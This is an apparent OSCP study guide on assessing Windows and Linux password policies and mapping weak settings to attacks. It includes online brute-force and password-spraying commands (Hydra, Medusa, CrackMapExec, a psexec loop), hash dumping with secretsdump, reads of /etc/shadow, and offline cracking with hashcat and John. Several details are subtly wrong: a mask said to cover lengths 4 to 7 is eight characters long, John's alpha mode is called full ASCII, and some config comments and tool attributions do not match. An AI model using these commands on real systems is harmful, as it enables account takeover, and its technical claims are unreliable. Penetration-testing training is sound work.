Password Policy Assessment
Section 13 — Understanding and exploiting password policies to guide your attack strategy.
1. Why Assess Password Policies
1.1 The Strategic Value of Policy Assessment
Password policy assessment is one of the most critical reconnaissance steps before launching any password-based attack. It directly determines:
- Whether brute force is feasible — A minimum length of 4 characters vs. 14 characters changes the search space by orders of magnitude.
- Which wordlists to use — If no complexity is required, simple lowercase wordlists like
rockyou.txt(filtered) are sufficient. If complexity is enforced, you need rules or hybrid attacks. - Whether online attacks are viable — Account lockout settings determine if you can attempt passwords interactively or must go offline.
- How to prioritize targets — Users with Fine-Grained Password Policies (FGPP) may have stronger or weaker policies than the domain default.
- The time investment required — A weak policy might yield results in minutes; a strong policy may require hours of offline cracking.
The fundamental principle: The password policy defines the minimum bar the attacker must clear. If the policy allows pass as a valid password, the attacker only needs to find a 4-character string. If it requires 14 characters with complexity, the attacker needs a different approach entirely.
1.2 Key Policy Parameters
Every password policy is defined by a set of parameters. Understanding each parameter and its security implications is essential:
| Parameter | Description | Weak Setting | Strong Setting | Attack Impact |
|---|---|---|---|---|
| Minimum Length | Shortest allowed password | < 8 characters | >= 14 characters | Directly controls brute force search space. 6 chars lowercase = 308M combos; 14 chars full = 4.4×10^27 combos |
| Complexity Requirements | Required character types | None / All lowercase | Upper + Lower + Digit + Special | No complexity = dictionary attacks highly effective. Complexity forces larger wordlists and rules |
| Password History | Number of previous passwords remembered | 0 | >= 24 | Low history = users can cycle passwords, reducing effective entropy over time |
| Maximum Age | How long before forced change | Never expires | 90 days | Never-expiring passwords = attackers have unlimited time. Frequent changes = more password reuse patterns |
| Minimum Age | Minimum time before password can be changed | 0 days | 1 day | Zero min age = users can immediately reset, useful for attackers who lock out an account to force a reset to a known password |
| Lockout Threshold | Failed attempts before lockout | Never / > 20 | 5 attempts | No lockout = unlimited online attempts. Low threshold = account lockout attacks possible |
| Lockout Duration | How long account stays locked | 0 minutes (manual unlock) | 30 minutes | Short duration = attacker can wait and retry. Permanent = account lockout denial-of-service possible |
| Lockout Window | Time window for counting failed attempts | 0 minutes | 30 minutes | Short window = failed attempts “expire,” allowing repeated bursts of attempts |
1.3 Weak vs. Strong Policy Comparison
A side-by-side comparison makes the attack surface clear:
| Aspect | Weak Policy (Attack-Friendly) | Strong Policy (Defense-Oriented) |
|---|---|---|
| Min Length | 4 characters | 14+ characters |
| Complexity | Not required | Required (all 4 character types) |
| History | 0 (no memory) | 24 passwords remembered |
| Max Age | Never | 90 days |
| Min Age | 0 days | 1 day |
| Lockout Threshold | Never locks | 5 attempts |
| Lockout Duration | N/A | 30 minutes |
| Lockout Window | N/A | 30 minutes |
| Search Space (offline) | ~5.8B (4 chars, full ASCII) | ~4.4×10^27 (14 chars, full ASCII) |
| Online Attack Feasibility | Trivial | Impossible (lockout after 5 attempts) |
| Dictionary Attack Success | Very High | Low (complexity filters most dictionary words) |
1.4 Why This Matters for OSCP
On the OSCP exam, password policy assessment is your first step after gaining initial access to a system or domain. The policy tells you:
- Can I brute force this online? — Check lockout settings.
- What wordlist should I use? — Check complexity and minimum length.
- Should I try hash cracking? — If you can extract hashes, the policy tells you what to expect.
- Is this account worth targeting? — A strong FGPP on a specific user means the domain default policy doesn’t apply to them.
2. Windows Assessment
2.1 net accounts — The Quick Check
The net accounts command is the fastest way to check password policy from a command prompt. It works both locally and against the domain.
# Local machine password policy
net accounts
# Domain password policy (requires domain access)
net accounts /domain
Sample output:
System properties
---------------------------------------------
Minimum password length (chars): 8
Length of password history memory: 24
Maximum password age (days): 42
Minimum password age (days): 1
Lockout threshold: 0
Lockout duration (minutes): 30
Lockout observation window (minutes): 30
Key fields to note:
| Output Field | Meaning | What to Look For |
|---|---|---|
Minimum password length |
Shortest allowed password | < 8 = brute force feasible offline |
Length of password history memory |
How many old passwords are remembered | 0 = users can reuse passwords immediately |
Maximum password age |
Days before forced change | “Never” = unlimited attack window |
Minimum password age |
Days before password can be changed | 0 = attacker can lock out, then force reset to known password |
Lockout threshold |
Failed attempts before lockout | 0 or “Never” = unlimited online attempts |
Lockout duration |
Minutes account stays locked | Short = attacker can wait and retry |
Lockout observation window |
Time window for counting failures | Short = failures “expire,” allowing repeated bursts |
Important caveat: net accounts shows the domain default policy. It does NOT reveal Fine-Grained Password Policies (FGPP) that may apply to specific users or groups. Always follow up with PowerShell commands for a complete picture.
2.2 PowerShell — Domain Policy Commands
PowerShell provides more detailed and structured access to password policies, especially in Active Directory environments.
Get-ADDefaultDomainPasswordPolicy
# Requires ActiveDirectory module (available on Domain Controllers or with RSAT)
Get-ADDefaultDomainPasswordPolicy
Sample output:
ComplexityEnabled : True
LockoutDuration : 00:30:00
LockoutObservationWindow : 00:30:00
LockoutThreshold : 5
MaxPasswordAge : 42.00:00:00
MinPasswordAge : 1.00:00:00
MinPasswordLength : 8
PasswordHistoryCount : 24
ReversibleEncryptionEnabled : False
This returns a structured object with named properties, making it easy to parse programmatically. Compare with net accounts:
net accounts Field |
PowerShell Property |
|---|---|
| Minimum password length | MinPasswordLength |
| Length of password history memory | PasswordHistoryCount |
| Maximum password age | MaxPasswordAge |
| Minimum password age | MinPasswordAge |
| Lockout threshold | LockoutThreshold |
| Lockout duration | LockoutDuration |
| Lockout observation window | LockoutObservationWindow |
| (not shown) | ComplexityEnabled |
| (not shown) | ReversibleEncryptionEnabled |
Note: ComplexityEnabled and ReversibleEncryptionEnabled are NOT shown by net accounts but are critical findings:
ComplexityEnabled : False→ No complexity required → dictionary attacks are highly effective.ReversibleEncryptionEnabled : True→ Passwords stored in reversible encryption (AES) → can be read in plaintext by anyone with Domain Admin access.
Get-ADFineGrainedPasswordPolicy
# List all Fine-Grained Password Policies in the domain
Get-ADFineGrainedPasswordPolicy -Filter *
# Get details of a specific FGPP
Get-ADFineGrainedPasswordPolicy -Identity "ExecutivePolicy"
What are Fine-Grained Password Policies (FGPP)?
FGPPs were introduced in Windows Server 2008 R2. Before FGPP, a domain had only ONE password policy (the default domain policy). FGPP allows administrators to define multiple password policies and apply them to specific users or groups.
Why FGPP matters for attackers:
- An executive or admin account might have a stronger policy (longer passwords, stricter complexity).
- A service account might have a weaker policy (shorter passwords, no complexity) for compatibility with legacy systems.
- The default domain policy does NOT apply to users covered by an FGPP.
- FGPPs have a precedence value — lower number = higher priority. If a user matches multiple FGPPs, the one with the lowest precedence number wins.
FGPP sample output:
ComplexityEnabled : False
DistinguishedName : CN=ServiceAccountPolicy,CN>PasswordSettingsContainer,CN>System,DC=corp,DC=local
LockoutDuration : 00:00:00
LockoutObservationWindow : 00:30:00
LockoutThreshold : 0
MaxPasswordAge : 999999.00:00:00
MinPasswordAge : 00:00:00
MinPasswordLength : 4
Name : ServiceAccountPolicy
PasswordHistoryCount : 0
Precedence : 100
ReversibleEncryptionEnabled : False
This policy allows 4-character passwords with no complexity, no lockout, and never-expiring passwords. This is a goldmine for an attacker.
Get-ADUserResultantPasswordPolicy
# Determine which password policy actually applies to a specific user
Get-ADUserResultantPasswordPolicy -Identity username
This is the most important command when FGPPs are in play. It resolves the effective policy for a given user by:
- Checking if the user (or a group the user belongs to) is targeted by any FGPP.
- If multiple FGPPs apply, selecting the one with the lowest precedence number.
- If no FGPP applies, returning the default domain policy.
Attack workflow with FGPP:
# Step 1: List all FGPPs
Get-ADFineGrainedPasswordPolicy -Filter * | Select Name, Precedence, MinPasswordLength, ComplexityEnabled, LockoutThreshold
# Step 2: For each interesting user, check their effective policy
Get-ADUserResultantPasswordPolicy -Identity targetuser
# Step 3: Find which users are targeted by weak FGPPs
Get-ADFineGrainedPasswordPolicy -Filter * | ForEach-Object {
$policy = $_
Get-ADObject -Filter {(ObjectClass -eq 'user') -or (ObjectClass -eq 'group')} -SearchBase $policy.DistinguishedName |
Where-Object { $_.Name -ne $policy.Name }
}
2.3 gpresult — Group Policy Results
# Summary of applied Group Policies
gpresult /r
# Detailed HTML report (save and transfer for analysis)
gpresult /h report.html
# For a specific user
gpresult /user username /h report.html
What gpresult shows:
The /r flag gives a concise summary including:
- The user’s current Group Policy settings — including password policy.
- Which Group Policy Objects (GPOs) are applied — both user and computer configuration.
- The Security Group membership — which determines FGPP applicability.
Key sections in the output:
USER SETTINGS
==============
Last logon : DC01.corp.local
Logon Scripts : None
Connected Cache : None
RSoP for group membership:
+ Domain Users
+ DnsAdmins
+ Enterprise Read-only Domain Controllers
+ Group Policy Creator Owners
+ Schema Admins
The following GPOs are applied to the user:
Default Domain Policy
Password Policy GPO
Security Hardening GPO
The GPO list tells you which policies are active. If you see a custom GPO (not “Default Domain Policy”), it may contain a different password policy.
2.4 Understanding Windows Password Policy Output — Decision Matrix
Once you have the policy data, use this decision matrix:
| Finding | Attack Implication | Recommended Action |
|---|---|---|
MinPasswordLength < 8 |
Brute force feasible offline | Use hashcat mask attack or John incremental mode |
ComplexityEnabled : False |
Dictionary attacks effective | Use rockyou.txt, no rules needed |
LockoutThreshold : 0 |
No online lockout | Hydra/Medusa online brute force possible |
LockoutThreshold > 20 |
High threshold, slow attacks work | Targeted online attacks with delay between attempts |
MinPasswordAge : 0 |
Account lockout attack possible | Lock out target, force reset to known password |
ReversibleEncryptionEnabled : True |
Plaintext readable by DA | Extract SAM/NTDS.dit, read passwords directly |
| FGPP with weak settings exists | Specific users have weak policies | Target those users specifically |
3. Linux Assessment
3.1 PAM Configuration — /etc/pam.d/common-password
PAM (Pluggable Authentication Modules) is the Linux authentication framework. The common-password file controls password quality requirements.
cat /etc/pam.d/common-password
Sample output:
# /etc/pam.d/common-password - password-related modules common to all services
password [success=1 default=ignore] pam_unix.so obscure sha512
password [success=1 default=ignore] pam_unix.so obscure sha512 yescrypt
password [success=1 default=ignore] pam_unix.so obscure sha512
password [default=ignore] pam_gnome_keyring.so
password requisite pam_deny.so
password required pam_permit.so
password optional pam_ecryptfs.so unwrap
password optional pam_gnome_keyring.so update
password required pam_pwquality.so retry=3
Key modules to look for:
| Module | Purpose | What to Check |
|---|---|---|
pam_unix.so |
Core password management | obscure flag enables basic checks (min length, similarity). Without it, almost no restrictions. |
pam_pwquality.so |
Advanced password quality | References /etc/security/pwquality.conf for detailed rules. retry=3 allows 3 retries. |
pam_cracklib.so |
Legacy password quality | Older systems. Similar to pwquality but different config file. |
pam_deny.so |
Denies all | Should be requisite — if reached, password change is denied. |
Critical finding: If pam_pwquality.so or pam_cracklib.so is absent from the file, there are likely no password quality checks at all (beyond what pam_unix.so obscure provides, which is minimal).
3.2 Password Quality Configuration — /etc/security/pwquality.conf
This file contains the detailed password quality rules used by pam_pwquality.so.
cat /etc/security/pwquality.conf
Sample output with all parameters explained:
# Number of characters in the new password that must not be present in the
# old password. Default is 0 (no minimum).
differ = 3
# Reject passwords shorter than this many characters. Default is 0 (no minimum).
# NOTE: This is ENFORCED by PAM, separate from login.defs PASS_MIN_LEN
minlen = 8
# Minimum number of lowercase characters required. Default is 0.
lcredit = -1
# Minimum number of uppercase characters required. Default is 0.
ucredit = -1
# Minimum number of digit characters required. Default is 0.
dcredit = -1
# Minimum number of special characters required. Default is 0.
ocredit = -1
# Enforce character class counts only if the password is longer than minlen.
# If 0 (default), class counts are enforced regardless of length.
enforce_for_root
# Do not enforce quality checks for root. Uncomment to skip for root.
# enforce_for_root
Parameter Deep Dive:
| Parameter | Description | Default | Weak Value | Strong Value | Attack Impact |
|---|---|---|---|---|---|
differ |
New password must differ by N chars from old | 0 | 0 | >= 3 | Low differ = easy to predict password changes |
minlen |
Minimum password length (PAM-enforced) | 0 | < 8 | >= 14 | Directly controls brute force space |
lcredit |
Lowercase requirement (negative = required) | 0 | 0 | -1 | 0 = no lowercase needed |
ucredit |
Uppercase requirement (negative = required) | 0 | 0 | -1 | 0 = no uppercase needed |
dcredit |
Digit requirement (negative = required) | 0 | 0 | -1 | 0 = no digits needed |
ocredit |
Special char requirement (negative = required) | 0 | 0 | -1 | 0 = no special chars needed |
enforce_for_root |
Apply checks to root account | No | Not set | Set | Without this, root can set any password |
Understanding the credit system:
The *credit parameters use a negative number convention:
ucredit = 0→ No uppercase required (0 minimum)ucredit = -1→ At least 1 uppercase requireducredit = -2→ At least 2 uppercase required
If ALL credit values are 0 (default), there is no character class requirement at all. Combined with a low minlen, this means passwords like aaaa or 1234 are valid.
Critical check: If minlen = 0 (or commented out), the PAM layer imposes no minimum length. The only length restriction comes from /etc/login.defs PASS_MIN_LEN, which is a suggestion (not always enforced by all PAM configurations).
3.3 Shadow Configuration — /etc/login.defs
This file controls shadow password suite settings. It is the system-level password configuration.
cat /etc/login.defs | grep -E "^PASS_|^UID_MIN|^UID_MAX"
Key parameters:
| Parameter | Description | Default | Attack Impact |
|---|---|---|---|
PASS_MAX_DAYS |
Maximum number of days a password is valid | 99999 | Effectively “never expires” at 99999. Low values force regular changes. |
PASS_MIN_DAYS |
Minimum number of days before password can be changed | 0 | 0 = can change immediately. Enables lockout-then-reset attack. |
PASS_MIN_LEN |
Minimum password length | 5 (varies) | Suggestion only — PAM may or may not enforce this. Check PAM config too. |
PASS_WARN_AGE |
Days before expiry to warn user | 7 | Informational only. No security impact. |
UID_MIN |
Minimum UID for regular users | 1000 | Helps identify regular user accounts. |
UID_MAX |
Maximum UID for regular users | 60000 | Helps identify regular user accounts. |
Sample output:
PASS_MAX_DAYS 99999
PASS_MIN_DAYS 0
PASS_MIN_LEN 5
PASS_WARN_AGE 7
Interpretation:
PASS_MAX_DAYS 99999→ Passwords effectively never expire. Attackers have unlimited time.PASS_MIN_DAYS 0→ Users can change passwords immediately. If you lock out an account, the user can reset it to a password of your choice (if you have access to the reset mechanism).PASS_MIN_LEN 5→ Minimum length is only 5 characters. But remember: this is a suggestion. The actual enforcement depends on PAM configuration.
3.4 chage -l username — Per-User Password Aging
# Check password aging for a specific user
chage -l username
# Check for root
chage -l root
# Check for all users (loop)
for user in $(cut -d: -f1 /etc/passwd); do echo "=== $user ==="; chage -l $user; done
Sample output:
Last password change : Aug 15, 2025
Password expires : never
Password inactive : never
Account expires : never
Minimum number of days between password change: 0
Maximum number of days between password change: 99999
Number of days of warning before password expires: 7
Key fields:
| Field | Meaning | Attack Relevance |
|---|---|---|
Last password change |
When password was last set | Recent change = user may have set a simple password they can remember |
Password expires |
When password must be changed | “never” = unlimited attack window |
Password inactive |
Grace period after expiry | “never” = no grace period enforcement |
Account expires |
When the account itself expires | “never” = account always active |
Minimum days |
Min days between changes | 0 = immediate change allowed |
Maximum days |
Max days between changes | 99999 = effectively never |
Exam tip: If Password expires: never for a user with a weak password policy, you have unlimited time to crack their hash offline. If it expires in 30 days, you need to work faster.
3.5 Linux Password Policy — Complete Assessment Checklist
# 1. PAM configuration
cat /etc/pam.d/common-password
# 2. Password quality rules
cat /etc/security/pwquality.conf
# 3. Shadow settings
grep -E "^PASS_" /etc/login.defs
# 4. Per-user aging
chage -l targetuser
# 5. Check if pam_pwquality or pam_cracklib is loaded
grep -E "pwquality|cracklib" /etc/pam.d/common-password
# 6. Check /etc/shadow for password hashes (requires root)
cat /etc/shadow
# 7. Check for accounts with no password
awk -F: '($2 == "" ) { print $1 }' /etc/shadow
# 8. Check for accounts with known weak hashes
awk -F: '($2 == "!" || $2 == "!!" || $2 == "*" || $2 == "x") { print $1 }' /etc/shadow
4. Impacket Tools
4.1 getPwned.py
Part of the Impacket suite, getPwned.py checks domain accounts against known breached passwords.
# Basic usage
getPwned.py -dc-ip 10.10.10.10 CORP/user:password
# Check specific users
getPwned.py -dc-ip 10.10.10.10 -users target1,target2 CORP/user:password
# Check all domain users
getPwned.py -dc-ip 10.10.10.10 -all-users CORP/user:password
What it does:
- Enumerates domain users (via LDAP or SAMR).
- Extracts NTLM hashes (via DCSync or secretsdump).
- Checks hashes against Have I Been Pwned’s API (k-anonymity model).
- Reports which accounts have passwords found in breaches.
Why this matters for policy assessment:
- If many accounts have breached passwords, it suggests weak policy enforcement.
- Combined with a weak password policy, this means offline cracking is highly likely to succeed.
4.2 secretsdump.py — Policy Enumeration
# Dump secrets and filter for policy information
secretsdump.py -just-dc CORP/user:password | grep -i policy
# Full dump (includes policy + hashes)
secretsdump.py -just-dc -no-pass -hashes lmhash:nthash CORP/user@10.10.10.10
Policy information in the output:
[*] Domain Policy:
MinPasswordLength: 8
PasswordHistoryLength: 24
MaxPasswordAge: 42 days
MinPasswordAge: 1 day
LockoutThreshold: 5
LockoutDuration: 30 minutes
LockoutObservationWindow: 30 minutes
Complex: Yes
ReversibleEncryptionEnabled: No
Alternative: secretsdump.py with -just-dc-user for specific users:
# Get policy and hash for a specific user
secretsdump.py -just-dc-user Administrator CORP/user:password
4.3 Other Impacket Tools for Policy Assessment
# Get domain policy via SAMR
samrdump.py CORP/user:password
# Get domain users and their properties
lookupsid.py CORP/user:password
# Check for password policy via LDAP
ldapdomaindump.py -u CORP/user -p password 10.10.10.10
5. Exploiting Weak Policies
5.1 Decision Tree Based on Policy Findings
Use this decision tree to determine your attack approach based on the policy assessment:
┌─────────────────────────────────────────────────┐
│ PASSWORD POLICY ASSESSMENT COMPLETE │
└─────────────────────┬───────────────────────────┘
│
▼
┌─────────────────┐
│ Can you extract │
│ password hashes?│
└──┬──────────┬───┘
│ │
YES NO
│ │
▼ ▼
┌────────────────┐ ┌──────────────────────────┐
│ OFFLINE PATH │ │ ONLINE PATH │
│ │ │ │
│ Check MinLen: │ │ Check LockoutThreshold: │
│ < 8 → Mask │ │ 0 (never) → Hydra/Medusa │
│ >= 8 → Dict │ │ > 20 → Slow targeted │
│ + Rules │ │ 5-20 → Careful, limited │
│ │ │ < 5 → Account lockout │
│ Check Complex: │ │ risk, use password │
│ False → Simple│ │ spraying instead │
│ wordlists │ │ │
│ True → Rules │ │ Check MinPasswordAge: │
│ or hybrid │ │ 0 → Lockout-then-reset │
└────────────────┘ └──────────────────────────┘
5.2 Specific Exploitation Scenarios
Scenario 1: Minimum Length < 8 Characters
Policy finding: MinPasswordLength: 4 (or minlen = 4 in PAM)
Attack approach:
# Hashcat mask attack for 4-7 character passwords
# Full ASCII printable (94 characters)
hashcat -m 1000 -a 3 ntlm_hashes.txt ?a?a?a?a
hashcat -m 1000 -a 3 ntlm_hashes.txt ?a?a?a?a?a
hashcat -m 1000 -a 3 ntlm_hashes.txt ?a?a?a?a?a?a
hashcat -m 1000 -a 3 ntlm_hashes.txt ?a?a?a?a?a?a?a
# Or use a combined mask for all lengths 4-7
hashcat -m 1000 -a 3 ntlm_hashes.txt ?a?a?a?a?a?a?a?a
# John the Ripper incremental mode (alpha mode for full ASCII)
john --format=NT --incremental:alpha ntlm_hashes.txt
Why this works: A 7-character password with full ASCII (94 chars) has only 94^7 ≈ 6.4 trillion combinations. Modern GPUs can crack this in hours.
Scenario 2: No Complexity Required
Policy finding: ComplexityEnabled: False (Windows) or all *credit = 0 (Linux)
Attack approach:
# Simple dictionary attack — no rules needed
hashcat -m 1000 -a 0 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt
# Filter wordlist to lowercase only (since no complexity required)
grep '^[a-z]*$' /usr/share/wordlists/rockyou.txt > lowercase.txt
hashcat -m 1000 -a 0 ntlm_hashes.txt lowercase.txt
# For Linux shadow hashes
hashcat -m 1800 -a 0 shadow_hashes.txt /usr/share/wordlists/rockyou.txt
Why this works: Without complexity, users tend to choose simple words, numbers, or combinations. rockyou.txt covers the vast majority of real-world passwords.
Scenario 3: No Account Lockout
Policy finding: LockoutThreshold: 0 (never locks)
Attack approach:
# Hydra — online brute force against SMB
hydra -l username -P /usr/share/wordlists/rockyou.txt smb://10.10.10.10
# Hydra — against RDP
hydra -l username -P /usr/share/wordlists/rockyou.txt rdp://10.10.10.10
# Hydra — against SSH
hydra -l username -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.10
# Medusa — alternative to Hydra
medusa -u username -P /usr/share/wordlists/rockyou.txt -H 10.10.10.10 -M smbnt
# CrackMapExec — built-in brute force
crackmapexec smb 10.10.10.10 -u username -p /usr/share/wordlists/rockyou.txt
Why this works: Without lockout, you can make unlimited attempts. The only limitation is network speed and detection.
Scenario 4: High Lockout Threshold (> 20)
Policy finding: LockoutThreshold: 50
Attack approach:
# Slow, targeted attacks with delays
# Hydra with delay between attempts
hydra -l username -P wordlist.txt -w 5 -V smb://10.10.10.10
# Password spraying — try ONE password against MANY users
# This stays under the per-user lockout threshold
crackmapexec smb 10.10.10.10 -u users.txt -p 'Password1'
# Impacket psexec with single password attempt
for user in $(cat users.txt); do
python psexec.py CORP/$user:'CommonPass123' 2>/dev/null
done
Why this works: Even with a high threshold, targeted attacks with common passwords can succeed before hitting the limit. Password spraying (one password, many users) is especially effective.
Scenario 5: Minimum Age = 0 (Lockout-Then-Reset Attack)
Policy finding: MinPasswordAge: 0 (or PASS_MIN_DAYS 0)
Attack approach:
This is a sophisticated attack that works when:
- You can lock out a user’s account (by causing failed login attempts).
- The user (or admin) resets the password.
- You intercept or know the reset mechanism.
Step 1: Lock out the target account (cause failed attempts)
Step 2: Wait for admin/user to reset the password
Step 3: If you control the reset flow, set a known password
Step 4: Log in with the known password
Note: This requires specific conditions (access to the password reset mechanism). It is more relevant in AD environments where you can manipulate the password change process.
5.3 Combined Attack Strategy
In real scenarios, you’ll combine multiple findings:
Policy Assessment Results:
├── MinPasswordLength: 6 → Mask attack feasible (6 chars)
├── ComplexityEnabled: False → Simple wordlists work
├── LockoutThreshold: 0 → Online brute force possible
├── MaxPasswordAge: Never → Unlimited attack time
└── MinPasswordAge: 0 → Lockout-then-reset possible
Attack Plan:
1. Extract hashes (secretsdump.py / /etc/shadow)
2. Offline crack with hashcat (mask + dictionary)
3. If offline fails, try online brute force (no lockout)
4. Use password spraying as fallback
6. OSCP Exam Relevance
6.1 How Password Policy Guides Your Attack Strategy
On the OSCP exam, password policy assessment is not a standalone task — it is a force multiplier for every password attack you perform. Here is how it directly impacts your exam performance:
| Exam Scenario | Policy Assessment Role |
|---|---|
| Windows box with SMB/RDP | Run net accounts /domain or check via Impacket. If weak policy → wordlist attack. If lockout → extract hashes instead. |
| Linux box with SSH | Check /etc/shadow (if readable). Check PAM config. If weak policy → Hydra with rockyou.txt. |
| AD environment | Get-ADDefaultDomainPasswordPolicy + FGPP check. Target users with weak FGPPs. |
| Post-exploitation | After initial access, check policy to determine if lateral movement via password attacks is feasible. |
| Privilege escalation | If you can read /etc/shadow or SAM, check policy to guide hash cracking approach. |
6.2 OSCP Exam Tips
Tip 1: Always check the policy before attacking. Spending 2 minutes on
net accountsorcat /etc/login.defscan save hours of failed attacks with the wrong wordlist or approach.
Tip 2:
net accountsis your friend on Windows boxes. It works from any command prompt (no special modules needed). Run it immediately after gaining a shell.
Tip 3: On Linux, check ALL three sources. PAM (
/etc/pam.d/common-password), pwquality (/etc/security/pwquality.conf), and shadow (/etc/login.defs). The effective policy is the combination of all three. PAM overrides login.defs if configured.
Tip 4: Lockout threshold of 0 means “never lock out.” This is the most common finding on OSCP boxes. It means online brute force with Hydra is always an option.
Tip 5: FGPPs are rare on OSCP but possible. If you see
Get-ADFineGrainedPasswordPolicyreturns results, check each one. A weak FGPP on a service account is a common exam pattern.
Tip 6:
chage -lis quick and revealing. On Linux boxes where you have user-level access, runchage -l $USERto see your own password aging. IfPassword expires: never, you have unlimited time.
Tip 7: Combine policy findings with hash extraction. If you extract NTLM hashes and the policy shows
MinPasswordLength: 4, use a mask attack first (fastest). IfMinPasswordLength: 14, start with dictionary + rules.
Tip 8: Document your findings. The OSCP report requires methodology. Note the policy settings you found and how they influenced your attack choice. This demonstrates thorough assessment.
6.3 Quick Reference — Policy to Attack Mapping
| Policy Finding | Immediate Attack |
|---|---|
MinPasswordLength < 8 |
Hashcat mask attack (?a?a?a?a etc.) |
ComplexityEnabled: False |
rockyou.txt, no rules |
LockoutThreshold: 0 |
Hydra / Medusa online brute force |
LockoutThreshold: 5 |
Password spraying (one pass, many users) |
MinPasswordAge: 0 |
Lockout-then-reset attack (if possible) |
ReversibleEncryptionEnabled: True |
Read passwords from SAM/NTDS directly |
FGPP with MinPasswordLength: 4 |
Target users under that FGPP specifically |
PASS_MAX_DAYS: 99999 |
Unlimited offline cracking time |
enforce_for_root NOT set |
Root can set any password — check root’s hash |
Summary
Password policy assessment is the foundation of any effective password attack. The policy defines the minimum strength of passwords in the environment, which directly determines:
- Attack feasibility — Can you brute force this?
- Attack method — Online (Hydra) or offline (Hashcat)?
- Wordlist selection — Simple dictionary or complex rules?
- Target prioritization — Which users have the weakest effective policy?
Key commands to remember:
| Platform | Command | Purpose |
|---|---|---|
| Windows | net accounts |
Quick local policy check |
| Windows | net accounts /domain |
Domain policy check |
| Windows | Get-ADDefaultDomainPasswordPolicy |
Detailed domain policy |
| Windows | Get-ADFineGrainedPasswordPolicy -Filter * |
List FGPPs |
| Windows | Get-ADUserResultantPasswordPolicy -Identity user |
Effective policy for user |
| Linux | cat /etc/pam.d/common-password |
PAM password config |
| Linux | cat /etc/security/pwquality.conf |
Password quality rules |
| Linux | grep "^PASS_" /etc/login.defs |
Shadow settings |
| Linux | chage -l username |
Per-user password aging |
| Both | secretsdump.py -just-dc DOMAIN/user:pass |
Domain policy + hashes |
| Both | getPwned.py DOMAIN/user:pass |
Breached password check |
Master these commands, understand the output, and map findings to attack strategies. This is one of the highest-ROI skills on the OSCP exam.